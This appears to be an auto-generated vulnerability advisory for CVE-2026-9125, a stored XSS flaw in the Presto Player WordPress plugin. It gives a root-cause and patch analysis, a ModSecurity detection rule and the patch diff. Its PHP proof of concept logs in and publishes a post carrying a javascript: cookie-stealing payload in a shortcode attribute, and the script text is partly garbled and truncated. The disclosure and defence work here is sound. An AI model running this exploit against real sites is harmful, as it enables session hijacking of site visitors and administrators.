Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 11, 2026

CVE-2026-9125: The Ultimate Video Player For WordPress <= 4.2.0 Authenticated (Contributor+) Stored Cross-Site Scripting via 'link_url' Shortcode Attribute PoC, Patch Analysis & Rule

CVE ID CVE-2026-9125
Plugin presto-player
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 4.2.0
Patched Version 4.2.1
Disclosed June 10, 2026

Analysis Overview

{
“analysis”: “Atomic Edge analysis of CVE-2026-9125:nThis vulnerability allows authenticated attackers with contributor-level access to inject arbitrary JavaScript through the Presto Player WordPress plugin. The flaw exists in the shortcode attribute handling for the [presto_player_overlay] shortcode, where the ‘link_url’ parameter lacks proper sanitization. The vulnerability has a CVSS score of 6.4 (Medium), making it a significant concern for sites with multiple user roles.nnRoot Cause:nThe root cause lies in the Shortcodes.php file at line 464. The getOverlays() function directly assigns the ‘link_url’ shortcode attribute to the overlay configuration without validating the URI scheme. The vulnerable code path is: Shortcodes.php:464 -> Block.php:236-244 builds the overlay link URL from the shortcode attribute -> the presto-dynamic-overlay-ui web component renders it as an href attribute. The plugin only strips ‘http’ and ‘https’ text via a URL parse function but does not filter javascript: URIs. Without the esc_url_raw() call, javascript: URIs bypass sanitization entirely. The overlay’s link URL flows from the shortcode attribute through the block attributes and into the front-end player component without any intermediate validation.nnExploitation:nAn attacker with contributor-level access creates or edits a post containing the [presto_player_overlay] shortcode. The attacker sets the ‘link_url’ attribute to a javascript: URI such as “javascript:alert(document.cookie)”. When WordPress renders the shortcode, the getOverlays() function copies this URI into the overlay link configuration. The presto-dynamic-overlay-ui web component then renders this URI as an anchor element’s href attribute. Any user viewing the post will see a clickable overlay. When they click it, the browser executes the JavaScript code in the context of the victim’s session. The attacker can craft the payload to exfiltrate cookies, session tokens, perform actions on behalf of the victim, or redirect to malicious sites.nnPatch Analysis:nThe patch adds esc_url_raw() to the link URL assignment in Shortcodes.php on line 464 (changed from $overlay[‘link_url’] to esc_url_raw($overlay[‘link_url’])). Additionally, the Block.php file receives a secondary defense layer on lines 236-244 that strips unsafe schemes from overlay link URLs before they reach the player. esc_url_raw() strips dangerous schemes like javascript:, data:, and vbscript: by only allowing http, https, and a few other safe protocols. The fix covers both shortcode-generated overlays and block-based overlays, ensuring the sanitization occurs at both input points. Before the patch, the link_url parameter passed through raw. After the patch, any URI that is not a valid HTTP/HTTPS URL is either stripped to an empty string or filtered out entirely.nnImpact:nSuccessful exploitation allows an attacker to execute arbitrary JavaScript in the browser of any user who views the compromised page. This leads to full session hijacking (cookie theft), credential theft via fake login prompts, defacement of pages, injection of malware/downloaders, and potential privilege escalation if the attacker can perform actions as an administrator viewing the page. The stored nature of the XSS means the payload persists in the database and affects every visitor, not just the attacker. This can impact all users from visitors to site administrators, enabling compromise of the entire WordPress installation through admin session theft.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-9125 – The Ultimate Video Player For WordPress $login_url,n CURLOPT_POST => true,n CURLOPT_POSTFIELDS => http_build_query([n ‘log’ => $username,n ‘pwd’ => $password,n ‘rememberme’ => ‘forever’,n ‘wp-submit’ => ‘Log In’n ]),n CURLOPT_RETURNTRANSFER => true,n CURLOPT_COOKIEJAR => ‘/tmp/cve_cookies.txt’,n CURLOPT_FOLLOWLOCATION => true,n CURLOPT_SSL_VERIFYPEER => false,n CURLOPT_HEADER => falsen]);ncurl_exec($ch);ncurl_close($ch);nn// Step 2: Get nonce for post creationn$admin_ajax_url = $target_url . ‘/wp-admin/admin-ajax.php’;n$ch = curl_init();ncurl_setopt_array($ch, [n CURLOPT_URL => $admin_ajax_url . ‘?action=wp_rest_nonce’,n CURLOPT_RETURNTRANSFER => true,n CURLOPT_COOKIEFILE => ‘/tmp/cve_cookies.txt’,n CURLOPT_SSL_VERIFYPEER => false,n CURLOPT_HTTPHEADER => [‘X-WP-Nonce: 1’]n]);n$response = curl_exec($ch);ncurl_close($ch);n// Extract nonce from response headern$nonce = ”;npreg_match(‘/X-WP-Nonce:\s*([a-f0-9]+)/i’, $response, $matches);nif (!empty($matches[1])) {n $nonce = $matches[1];n}nn// Step 3: Create a post with the malicious shortcoden$rest_url = $target_url . ‘/wp-json/wp/v2/posts’;n$payload = ‘javascript:alert(document.cookie)’;n$post_content = ‘[presto_player_overlay link_url=”‘ . $payload . ‘”]’;nn$ch = curl_init();ncurl_setopt_array($ch, [n CURLOPT_URL => $rest_url,n CURLOPT_POST => true,n CURLOPT_POSTFIELDS => json_encode([n ‘title’ => ‘CVE-2026-9125 Test Post’,n ‘content’ => $post_content,n ‘status’ => ‘publish’n ]),n CURLOPT_RETURNTRANSFER => true,n CURLOPT_COOKIEFILE => ‘/tmp/cve_cookies.txt’,n CURLOPT_SSL_VERIFYPEER => false,n CURLOPT_HTTPHEADER => [n ‘Content-Type: application/json’,n ‘X-WP-Nonce: ‘ . $noncen ]n]);n$response = curl_exec($ch);ncurl_close($ch);nn$result = json_decode($response, true);nif (isset($result[‘id’])) {n echo “[+] Post created successfully! ID: ” . $result[‘id’] . “\n”;n echo “[+] View the post at: ” . $target_url . “/?p=” . $result[‘id’] . “\n”;n echo “[+] The JavaScript:alert(document.cookie) payload will execute when clicking the overlay.\n”;n} else {n echo “[-] Failed to create post. Response: ” . $response . “\n”;n}nn// Cleanup cookie filenunlink(‘/tmp/cve_cookies.txt’);”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-9125n# Blocks stored XSS via the [presto_player_overlay] shortcode’s link_url attributen# Targets the REST API endpoint for creating/editing posts where the shortcode is injectednSecRule REQUEST_URI “@rx ^/wp-json/wp/vd+/posts” \n “id:20269125,phase:2,deny,status:403,chain,msg:’CVE-2026-9125 Stored XSS via Presto Player overlay link_url’,severity:’CRITICAL’,tag:’CVE-2026-9125′”n SecRule ARGS:content “@rx \\[presto_player_overlay[^\]]*link_url\s*=\s*[‘\”]javascript:” \n “t:none”nn# Targets the classic editor via wp-admin/post.phpnSecRule REQUEST_URI “@rx ^/wp-admin/post\.php$” \n “id:20269126,phase:2,deny,status:403,chain,msg:’CVE-2026-9125 Stored XSS via Presto Player overlay link_url’,severity:’CRITICAL’,tag:’CVE-2026-9125′”n SecRule ARGS_POST:content “@rx \\[presto_player_overlay[^\]]*link_url\s*=\s*[‘\”]javascript:” \n “t:none””
}

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/presto-player/dist/dashboard.asset.php
+++ b/presto-player/dist/dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '4ea972b87befa5b8557d');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '63a8acd4fb2275d9ed21');
--- a/presto-player/dist/tailwind.asset.php
+++ b/presto-player/dist/tailwind.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '81797a08ca56057051fa');
+<?php return array('dependencies' => array(), 'version' => '030973c952fd1685586e');
--- a/presto-player/inc/Models/ReusableVideo.php
+++ b/presto-player/inc/Models/ReusableVideo.php
@@ -299,7 +299,7 @@
 	/**
 	 * Get reusable video block function.
 	 *
-	 * @return $content The content of the block.
+	 * @return string The content of the block.
 	 */
 	public function content() {
 		return ! empty( $this->post->post_content ) ? $this->post->post_content : '';
--- a/presto-player/inc/Services/API/RestEmailSubmissionsController.php
+++ b/presto-player/inc/Services/API/RestEmailSubmissionsController.php
@@ -50,9 +50,9 @@
 	const DEFAULT_PER_PAGE = 100;

 	/**
-	 * Hard cap on the number of IDs accepted by delete_items in a single request.
-	 * Prevents DoS amplification via deletion hooks and bounds blast radius if an admin
-	 * session is stolen.
+	 * Hard cap on the number of IDs accepted by bulk endpoints (delete_items,
+	 * bulk_update_status). Prevents DoS amplification via deletion /
+	 * transition_post_status hooks and bounds blast radius on a stolen session.
 	 */
 	const MAX_DELETE_IDS = 500;

@@ -205,6 +205,33 @@
 				),
 			)
 		);
+
+		register_rest_route(
+			$this->namespace . '/' . $this->version,
+			'/' . $this->base . '/status',
+			array(
+				array(
+					'methods'             => WP_REST_Server::CREATABLE,
+					'callback'            => array( $this, 'bulk_update_status' ),
+					'permission_callback' => $permission,
+					'args'                => array(
+						'ids'    => array(
+							'required'          => true,
+							'type'              => 'array',
+							'items'             => array( 'type' => 'integer' ),
+							'sanitize_callback' => function ( $ids ) {
+								return array_filter( array_map( 'absint', (array) $ids ) );
+							},
+						),
+						'status' => array(
+							'required' => true,
+							'type'     => 'string',
+							'enum'     => self::ALLOWED_STATUSES,
+						),
+					),
+				),
+			)
+		);
 	}

 	/**
@@ -491,6 +518,62 @@
 			)
 		);
 	}
+
+	/**
+	 * Bulk update post_status for email submissions.
+	 *
+	 * Mirrors the delete_items shape so the React client can call one endpoint
+	 * instead of fanning out N parallel PUTs (which left selection state
+	 * inconsistent on partial failure).
+	 *
+	 * @param WP_REST_Request $request Request object.
+	 * @return WP_REST_Response|WP_Error
+	 */
+	public function bulk_update_status( $request ) {
+		$ids    = $request->get_param( 'ids' );
+		$status = $request->get_param( 'status' );
+		if ( ! is_array( $ids ) || empty( $ids ) ) {
+			return new WP_Error( 'invalid_param', __( 'IDs are required.', 'presto-player' ), array( 'status' => 400 ) );
+		}
+		if ( count( $ids ) > self::MAX_DELETE_IDS ) {
+			return new WP_Error(
+				'too_many_ids',
+				sprintf(
+					/* translators: %d: maximum number of IDs allowed per bulk request */
+					__( 'Too many IDs in a single request. Maximum %d.', 'presto-player' ),
+					self::MAX_DELETE_IDS
+				),
+				array( 'status' => 400 )
+			);
+		}
+		if ( ! post_type_exists( self::PRO_POST_TYPE ) ) {
+			return $this->pro_required_error();
+		}
+		$updated = 0;
+		foreach ( $ids as $post_id ) {
+			$post = get_post( $post_id );
+			if ( ! $post || self::PRO_POST_TYPE !== $post->post_type ) {
+				continue;
+			}
+			$result = wp_update_post(
+				array(
+					'ID'          => $post_id,
+					'post_status' => $this->maybe_promote_to_future( $status, $post->post_date_gmt ),
+				),
+				true
+			);
+			if ( ! is_wp_error( $result ) && $result ) {
+				++$updated;
+			}
+		}
+		return rest_ensure_response(
+			array(
+				'success' => $updated > 0,
+				'updated' => $updated,
+				'failed'  => count( $ids ) - $updated,
+			)
+		);
+	}

 	/**
 	 * Args for the list endpoint. per_page is clamped server-side in get_items, but
--- a/presto-player/inc/Services/API/RestMediaListController.php
+++ b/presto-player/inc/Services/API/RestMediaListController.php
@@ -0,0 +1,435 @@
+<?php
+/**
+ * REST API controller for the Media Hub list view.
+ *
+ * Lightweight, server-paginated replacement for `/wp/v2/presto-videos` for the
+ * dashboard table — returns only the fields the list row needs and skips
+ * `ReusableVideo::getAttributes()` so cost stays constant-time per request.
+ *
+ * @package PrestoPlayer
+ * @subpackage ServicesAPI
+ */
+
+namespace PrestoPlayerServicesAPI;
+
+use WP_Error;
+use WP_Post;
+use WP_Query;
+use WP_REST_Request;
+use WP_REST_Response;
+use WP_REST_Server;
+
+/**
+ * Dedicated lightweight list endpoint for the Media Hub dashboard table.
+ */
+class RestMediaListController extends WP_REST_Controller {
+
+	/**
+	 * Namespace.
+	 *
+	 * @var string
+	 */
+	protected $namespace = 'presto-player';
+
+	/**
+	 * Version.
+	 *
+	 * @var string
+	 */
+	protected $version = 'v1';
+
+	/**
+	 * Endpoint base.
+	 *
+	 * @var string
+	 */
+	protected $base = 'media-list';
+
+	/**
+	 * Post type managed by this endpoint.
+	 *
+	 * @var string
+	 */
+	protected $post_type = 'pp_video_block';
+
+	/**
+	 * Taxonomy used to tag media items.
+	 *
+	 * @var string
+	 */
+	protected $taxonomy = 'pp_video_tag';
+
+	/**
+	 * Whitelisted post statuses the list view exposes.
+	 *
+	 * @var string[]
+	 */
+	protected $allowed_statuses = array( 'publish', 'draft', 'pending', 'private', 'future', 'trash' );
+
+	/**
+	 * Whitelisted orderby values. WP_Query accepts more keys, but we expose
+	 * only what the UI offers so callers can't ask the DB to order by a key
+	 * that lacks an index (e.g. a serialized meta_value).
+	 *
+	 * @var string[]
+	 */
+	protected $allowed_orderby = array( 'date', 'modified', 'title' );
+
+	/**
+	 * Register controller.
+	 *
+	 * @return void
+	 */
+	public function register() {
+		add_action( 'rest_api_init', array( $this, 'register_routes' ) );
+	}
+
+	/**
+	 * Register the list route.
+	 *
+	 * @return void
+	 */
+	public function register_routes() {
+		register_rest_route(
+			"{$this->namespace}/{$this->version}",
+			'/' . $this->base,
+			array(
+				array(
+					'methods'             => WP_REST_Server::READABLE,
+					'callback'            => array( $this, 'get_items' ),
+					'permission_callback' => array( $this, 'get_items_permissions_check' ),
+					'args'                => $this->get_collection_params(),
+				),
+			)
+		);
+	}
+
+	/**
+	 * Collection params with sanitization + validation.
+	 *
+	 * Mirrors the conservative argument schema of RestMediaPostController:
+	 * sanitize aggressively and validate against whitelists so callers can't
+	 * smuggle unexpected query vars into the underlying WP_Query.
+	 *
+	 * @return array<string, array<string, mixed>>
+	 */
+	public function get_collection_params() {
+		return array(
+			'search'   => array(
+				'type'              => 'string',
+				'default'           => '',
+				'sanitize_callback' => 'sanitize_text_field',
+			),
+			'status'   => array(
+				'type'              => 'string',
+				'default'           => 'publish,draft,pending,private,future',
+				'sanitize_callback' => 'sanitize_text_field',
+			),
+			'tag'      => array(
+				'type'              => 'integer',
+				'default'           => 0,
+				'minimum'           => 0,
+				'sanitize_callback' => 'absint',
+			),
+			'orderby'  => array(
+				'type'              => 'string',
+				'default'           => 'date',
+				'enum'              => $this->allowed_orderby,
+				'sanitize_callback' => 'sanitize_key',
+			),
+			'order'    => array(
+				'type'              => 'string',
+				'default'           => 'desc',
+				'enum'              => array( 'asc', 'desc' ),
+				'sanitize_callback' => 'sanitize_key',
+			),
+			'page'     => array(
+				'type'              => 'integer',
+				'default'           => 1,
+				'minimum'           => 1,
+				'sanitize_callback' => 'absint',
+			),
+			'per_page' => array(
+				'type'              => 'integer',
+				'default'           => 25,
+				'minimum'           => 1,
+				'maximum'           => 100,
+				'sanitize_callback' => 'absint',
+			),
+		);
+	}
+
+	/**
+	 * Permission check.
+	 *
+	 * Any user who can edit `pp_video_block` posts may read the list — the
+	 * same cap the dashboard menu requires. Per-user visibility of non-public
+	 * statuses (private / draft / pending / future) is enforced inside the
+	 * WP_Query itself via `'perm' => 'readable'`, so we don't duplicate that
+	 * logic here.
+	 *
+	 * @param WP_REST_Request $request Request (unused — cap is endpoint-wide).
+	 * @return bool
+	 */
+	public function get_items_permissions_check( $request ) {
+		unset( $request );
+		$pt  = get_post_type_object( $this->post_type );
+		$cap = $pt && isset( $pt->cap->edit_posts ) ? $pt->cap->edit_posts : 'edit_posts';
+		return current_user_can( $cap );
+	}
+
+	/**
+	 * GET /presto-player/v1/media-list
+	 *
+	 * @param WP_REST_Request $request Request.
+	 * @return WP_REST_Response|WP_Error
+	 */
+	public function get_items( $request ) {
+		$statuses = $this->parse_statuses( (string) $request->get_param( 'status' ) );
+		if ( empty( $statuses ) ) {
+			return new WP_Error(
+				'rest_invalid_status',
+				__( 'No valid post statuses provided.', 'presto-player' ),
+				array( 'status' => 400 )
+			);
+		}
+
+		$page     = max( 1, (int) $request->get_param( 'page' ) );
+		$per_page = max( 1, min( 100, (int) $request->get_param( 'per_page' ) ) );
+		$orderby  = in_array( $request->get_param( 'orderby' ), $this->allowed_orderby, true ) ? $request->get_param( 'orderby' ) : 'date';
+		$order    = 'asc' === strtolower( (string) $request->get_param( 'order' ) ) ? 'ASC' : 'DESC';
+		$tag_id   = (int) $request->get_param( 'tag' );
+		$search   = (string) $request->get_param( 'search' );
+
+		$query_args = array(
+			'post_type'           => $this->post_type,
+			'post_status'         => $statuses,
+			'posts_per_page'      => $per_page,
+			'paged'               => $page,
+			'orderby'             => $orderby,
+			'order'               => $order,
+			// `readable` scopes `private` to the current user; the author arg
+			// below covers draft/pending/future (which `readable` doesn't).
+			'perm'                => 'readable',
+			// We need the total for pagination headers.
+			'no_found_rows'       => false,
+			// CPT query — sticky-post hoist only fires for post_type=post anyway.
+			'ignore_sticky_posts' => true,
+		);
+
+		// Scope to the user's own posts when they lack edit_others_posts —
+		// covers draft/pending/future, which `'perm' => 'readable'` (above) doesn't.
+		// Mirrors VideoPostType::limitMediaHubPosts() so REST matches wp-admin.
+		if ( ! current_user_can( 'edit_others_posts' ) ) {
+			$query_args['author'] = get_current_user_id();
+		}
+
+		if ( '' !== $search ) {
+			$query_args['s'] = $search;
+		}
+
+		if ( $tag_id > 0 ) {
+			$query_args['tax_query'] = array(
+				array(
+					'taxonomy' => $this->taxonomy,
+					'field'    => 'term_id',
+					'terms'    => array( $tag_id ),
+				),
+			);
+		}
+
+		$query = new WP_Query( $query_args );
+
+		$items = array();
+		foreach ( $query->posts as $post ) {
+			if ( ! $post instanceof WP_Post ) {
+				continue;
+			}
+			$items[] = $this->build_item( $post );
+		}
+
+		$response = new WP_REST_Response(
+			array(
+				'items'       => $items,
+				'total'       => (int) $query->found_posts,
+				'total_pages' => (int) $query->max_num_pages,
+				'page'        => $page,
+				'per_page'    => $per_page,
+				'counts'      => $this->get_status_counts(),
+				'all_tags'    => $this->get_all_tags(),
+			)
+		);
+
+		// Mirror native WP REST conventions so generic paginated-list clients
+		// (and our own hook reading X-WP-* headers) keep working.
+		$response->header( 'X-WP-Total', (string) (int) $query->found_posts );
+		$response->header( 'X-WP-TotalPages', (string) (int) $query->max_num_pages );
+
+		return $response;
+	}
+
+	/**
+	 * Build the per-row payload for a single post.
+	 *
+	 * Matches the classic edit.php list table approach (see
+	 * VideoPostType::renderTitleWithPosterColumn): poster resolution flows
+	 * through `get_the_post_thumbnail_url()` → `post_thumbnail_id` filter,
+	 * where VideoPostType::attachPoster bridges the block's poster attribute
+	 * to its WP attachment. One `parse_blocks` per row covers every poster
+	 * source the dashboard renders, with no controller-side block introspection.
+	 *
+	 * @param WP_Post $post Post.
+	 * @return array<string, mixed>
+	 */
+	protected function build_item( WP_Post $post ) {
+		$tags  = array();
+		$terms = get_the_terms( $post, $this->taxonomy );
+		if ( is_array( $terms ) ) {
+			foreach ( $terms as $term ) {
+				$tags[] = array(
+					'id'   => (int) $term->term_id,
+					'name' => $term->name,
+					'slug' => $term->slug,
+				);
+			}
+		}
+
+		$author_id   = (int) $post->post_author;
+		$author_name = $author_id ? (string) get_the_author_meta( 'display_name', $author_id ) : '';
+
+		// `get_the_title()` runs the `the_title` filter which falls back to the
+		// inner block's title when post_title is empty. Cost is bounded — for
+		// posts that already have a stored title the filter short-circuits.
+		$title = html_entity_decode( get_the_title( $post ), ENT_QUOTES, 'UTF-8' );
+		$title = $this->strip_status_title_prefix( $title );
+
+		$item = array(
+			'id'        => (int) $post->ID,
+			'title'     => $title,
+			'status'    => $post->post_status,
+			'date'      => mysql_to_rfc3339( $post->post_date ),
+			'modified'  => mysql_to_rfc3339( $post->post_modified ),
+			'post_name' => $post->post_name,
+			'shortcode' => '[presto_player id=' . (int) $post->ID . ']',
+			'poster'    => (string) get_the_post_thumbnail_url( $post, 'medium' ),
+			'author'    => array(
+				'id'   => $author_id,
+				'name' => $author_name,
+			),
+			'tags'      => $tags,
+			'link'      => (string) get_permalink( $post ),
+		);
+
+		// Per-item gate, matches WP REST `context=edit`.
+		if ( current_user_can( 'edit_post', $post->ID ) ) {
+			$item['post_password'] = (string) $post->post_password;
+		}
+
+		return $item;
+	}
+
+	/**
+	 * Parse the comma-separated `status` request param into a validated
+	 * whitelist. Anything outside `$allowed_statuses` is silently dropped so a
+	 * crafted request can't reach unintended post statuses.
+	 *
+	 * Case-folds inputs so `?status=Publish` is accepted (consistent with how
+	 * the rest of WP REST treats status slugs).
+	 *
+	 * @param string $raw Raw value from the request.
+	 * @return string[] Validated, deduplicated status slugs.
+	 */
+	protected function parse_statuses( $raw ) {
+		if ( '' === $raw ) {
+			return array();
+		}
+		$parts = array_filter( array_map( 'trim', explode( ',', $raw ) ) );
+		$parts = array_map( 'strtolower', $parts );
+		$parts = array_intersect( $parts, $this->allowed_statuses );
+		return array_values( array_unique( $parts ) );
+	}
+
+	/**
+	 * Strip WP's `protected_title_format` / `private_title_format` prefix from
+	 * a rendered title. WordPress prepends "Protected: " / "Private: " (or
+	 * their translations) on those statuses; the dashboard renders status as
+	 * a separate badge, so this prefix is redundant and would compound when
+	 * round-tripped through PostSettings save.
+	 *
+	 * Mirrors `stripWpTitlePrefix` in `useMedia.ts`.
+	 *
+	 * @param string $title Rendered title.
+	 * @return string
+	 */
+	protected function strip_status_title_prefix( $title ) {
+		// These strings come from WP core; the explicit `default` domain
+		// (a) satisfies WordPress.WP.I18n.MissingArgDomain in PHPCS and
+		// (b) keeps `yarn makepot` from scraping them into presto-player.pot.
+		/* translators: %s: post title (WP core string, default domain). */
+		$protected_prefix = trim( str_replace( '%s', '', __( 'Protected: %s', 'default' ) ) );
+		/* translators: %s: post title (WP core string, default domain). */
+		$private_prefix = trim( str_replace( '%s', '', __( 'Private: %s', 'default' ) ) );
+
+		foreach ( array( $protected_prefix, $private_prefix ) as $prefix ) {
+			if ( '' !== $prefix && 0 === strpos( $title, $prefix ) ) {
+				return ltrim( substr( $title, strlen( $prefix ) ) );
+			}
+		}
+		return $title;
+	}
+
+	/**
+	 * Status counts across the library — drives the per-status badges on the
+	 * filter dropdown. Returns only the statuses the UI exposes.
+	 *
+	 * Passing `'readable'` tells WordPress to scope counts to posts the
+	 * current user can read: for a user without `read_private_<post_type>`,
+	 * the `private` count drops to their own private posts only. Without
+	 * this, a low-cap user sees site-wide private/draft totals on the badges.
+	 *
+	 * @return array<string, int>
+	 */
+	protected function get_status_counts() {
+		$raw    = wp_count_posts( $this->post_type, 'readable' );
+		$counts = array();
+		foreach ( $this->allowed_statuses as $status ) {
+			$counts[ $status ] = isset( $raw->{$status} ) ? (int) $raw->{$status} : 0;
+		}
+		return $counts;
+	}
+
+	/**
+	 * Tag list for the filter dropdown.
+	 *
+	 * For users with `read_private_<post_type>` (typically Editor and
+	 * Administrator), returns every term in the taxonomy. For lower-cap
+	 * users, returns only terms attached to at least one published post so
+	 * tag names tied exclusively to other authors' private/draft content
+	 * don't leak through the dropdown.
+	 *
+	 * @return array<int, array<string, mixed>>
+	 */
+	protected function get_all_tags() {
+		$pt          = get_post_type_object( $this->post_type );
+		$read_priv   = $pt && isset( $pt->cap->read_private_posts ) ? $pt->cap->read_private_posts : 'read_private_posts';
+		$can_see_all = current_user_can( $read_priv );
+		$terms       = get_terms(
+			array(
+				'taxonomy'   => $this->taxonomy,
+				'hide_empty' => ! $can_see_all,
+			)
+		);
+		if ( is_wp_error( $terms ) || ! is_array( $terms ) ) {
+			return array();
+		}
+		$out = array();
+		foreach ( $terms as $term ) {
+			$out[] = array(
+				'id'   => (int) $term->term_id,
+				'name' => $term->name,
+				'slug' => $term->slug,
+			);
+		}
+		return $out;
+	}
+}
--- a/presto-player/inc/Services/ReusableVideos.php
+++ b/presto-player/inc/Services/ReusableVideos.php
@@ -92,7 +92,7 @@
 	 * Get reusable video block function.
 	 *
 	 * @param mixed $id The ID of the reusable block.
-	 * @return $content The content of the block.
+	 * @return string The content of the block.
 	 */
 	public static function get( $id ) {
 		$content_post = get_post( $id );
--- a/presto-player/inc/Services/Shortcodes.php
+++ b/presto-player/inc/Services/Shortcodes.php
@@ -461,7 +461,7 @@
 				$overlays[ $key ]['endTime'] = $overlay['end_time'];
 			}

-			$overlays[ $key ]['link']['url']           = $overlay['link_url'];
+			$overlays[ $key ]['link']['url']           = esc_url_raw( $overlay['link_url'] );
 			$overlays[ $key ]['link']['opensInNewTab'] = (bool) $overlay['link_new_tab'];

 			unset( $overlays[ $key ]['link_url'] );
--- a/presto-player/inc/Services/VideoPostType.php
+++ b/presto-player/inc/Services/VideoPostType.php
@@ -663,8 +663,14 @@
 		if ( $this->post_type !== $post->post_type ) {
 			return $id;
 		}
-		$block         = $this->getMediaHubBlock( $post );
-		$poster        = ( ! empty( $block ) ) && isset( $block['attrs']['poster'] ) ? $block['attrs']['poster'] : '';
+		$block  = $this->getMediaHubBlock( $post );
+		$poster = ( ! empty( $block ) ) && isset( $block['attrs']['poster'] ) ? $block['attrs']['poster'] : '';
+		// No URL → nothing to resolve. Skips a wasted attachment_url_to_postid()
+		// DB query on every get_post_thumbnail_id() call for posts whose block
+		// doesn't define a poster (most YouTube / Vimeo / audio sources).
+		if ( '' === $poster ) {
+			return $id;
+		}
 		$attachment_id = attachment_url_to_postid( $poster );
 		return $attachment_id ? $attachment_id : $id;
 	}
--- a/presto-player/inc/Support/Block.php
+++ b/presto-player/inc/Support/Block.php
@@ -236,6 +236,14 @@
 			$attributes['title'] = $video ? $video->title : $src;
 		}

+		// Strip unsafe schemes (javascript:, data:, vbscript:) from overlay link URLs before they reach the player.
+		$overlays = ! empty( $attributes['overlays'] ) ? (array) $attributes['overlays'] : array();
+		foreach ( $overlays as $k => $overlay ) {
+			if ( ! empty( $overlay['link']['url'] ) ) {
+				$overlays[ $k ]['link']['url'] = esc_url_raw( $overlay['link']['url'] );
+			}
+		}
+
 		// Default config.
 		$default_config = apply_filters(
 			'presto_player/block/default_attributes',
@@ -263,7 +271,7 @@
 				'tracks'          => ! empty( $attributes['tracks'] ) ? (array) $attributes['tracks'] : array(),
 				'preset'          => $preset ? $preset->toArray() : array(),
 				'chapters'        => ! empty( $attributes['chapters'] ) ? $attributes['chapters'] : array(),
-				'overlays'        => DynamicData::replaceItems( ! empty( $attributes['overlays'] ) ? $attributes['overlays'] : array(), 'text' ),
+				'overlays'        => DynamicData::replaceItems( $overlays, 'text' ),
 				'blockAttributes' => $attributes,
 				'videoAttributes' => array(),
 				'provider'        => $this->name,
--- a/presto-player/inc/config/app.php
+++ b/presto-player/inc/config/app.php
@@ -80,6 +80,7 @@
 		PrestoPlayerServicesAPIRestSettingsController::class,
 		PrestoPlayerServicesAPIRestVideosController::class,
 		PrestoPlayerServicesAPIRestMediaPostController::class,
+		PrestoPlayerServicesAPIRestMediaListController::class,
 		PrestoPlayerServicesAPIRestEmailSubmissionsController::class,
 		PrestoPlayerServicesAPIRestLicenseController::class,
 	),
--- a/presto-player/presto-player.php
+++ b/presto-player/presto-player.php
@@ -3,7 +3,7 @@
  * Plugin Name: Presto Player
  * Plugin URI: http://prestoplayer.com
  * Description: A beautiful, fast media player for WordPress.
- * Version: 4.2.0
+ * Version: 4.2.1
  * Author: Presto Made, Inc
  * Author URI: https://prestoplayer.com/
  * Text Domain: presto-player
--- a/presto-player/vendor/composer/autoload_classmap.php
+++ b/presto-player/vendor/composer/autoload_classmap.php
@@ -237,6 +237,7 @@
     'PrestoPlayer\Services\API\RestAudioPresetsController' => $baseDir . '/inc/Services/API/RestAudioPresetsController.php',
     'PrestoPlayer\Services\API\RestEmailSubmissionsController' => $baseDir . '/inc/Services/API/RestEmailSubmissionsController.php',
     'PrestoPlayer\Services\API\RestLicenseController' => $baseDir . '/inc/Services/API/RestLicenseController.php',
+    'PrestoPlayer\Services\API\RestMediaListController' => $baseDir . '/inc/Services/API/RestMediaListController.php',
     'PrestoPlayer\Services\API\RestMediaPostController' => $baseDir . '/inc/Services/API/RestMediaPostController.php',
     'PrestoPlayer\Services\API\RestPresetsController' => $baseDir . '/inc/Services/API/RestPresetsController.php',
     'PrestoPlayer\Services\API\RestSettingsController' => $baseDir . '/inc/Services/API/RestSettingsController.php',
--- a/presto-player/vendor/composer/autoload_static.php
+++ b/presto-player/vendor/composer/autoload_static.php
@@ -285,6 +285,7 @@
         'PrestoPlayer\Services\API\RestAudioPresetsController' => __DIR__ . '/../..' . '/inc/Services/API/RestAudioPresetsController.php',
         'PrestoPlayer\Services\API\RestEmailSubmissionsController' => __DIR__ . '/../..' . '/inc/Services/API/RestEmailSubmissionsController.php',
         'PrestoPlayer\Services\API\RestLicenseController' => __DIR__ . '/../..' . '/inc/Services/API/RestLicenseController.php',
+        'PrestoPlayer\Services\API\RestMediaListController' => __DIR__ . '/../..' . '/inc/Services/API/RestMediaListController.php',
         'PrestoPlayer\Services\API\RestMediaPostController' => __DIR__ . '/../..' . '/inc/Services/API/RestMediaPostController.php',
         'PrestoPlayer\Services\API\RestPresetsController' => __DIR__ . '/../..' . '/inc/Services/API/RestPresetsController.php',
         'PrestoPlayer\Services\API\RestSettingsController' => __DIR__ . '/../..' . '/inc/Services/API/RestSettingsController.php',
--- a/presto-player/vendor/composer/installed.php
+++ b/presto-player/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'course/player',
-        'pretty_version' => 'v4.2.0',
-        'version' => '4.2.0.0',
-        'reference' => 'aade530d0f38a5a9ce8f55906ac379d38e26d9eb',
+        'pretty_version' => 'v4.2.1',
+        'version' => '4.2.1.0',
+        'reference' => '9d17794d58c5c3c9d0ef863a9a01c7e723275a7f',
         'type' => 'project',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -47,9 +47,9 @@
             'dev_requirement' => false,
         ),
         'course/player' => array(
-            'pretty_version' => 'v4.2.0',
-            'version' => '4.2.0.0',
-            'reference' => 'aade530d0f38a5a9ce8f55906ac379d38e26d9eb',
+            'pretty_version' => 'v4.2.1',
+            'version' => '4.2.1.0',
+            'reference' => '9d17794d58c5c3c9d0ef863a9a01c7e723275a7f',
             'type' => 'project',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

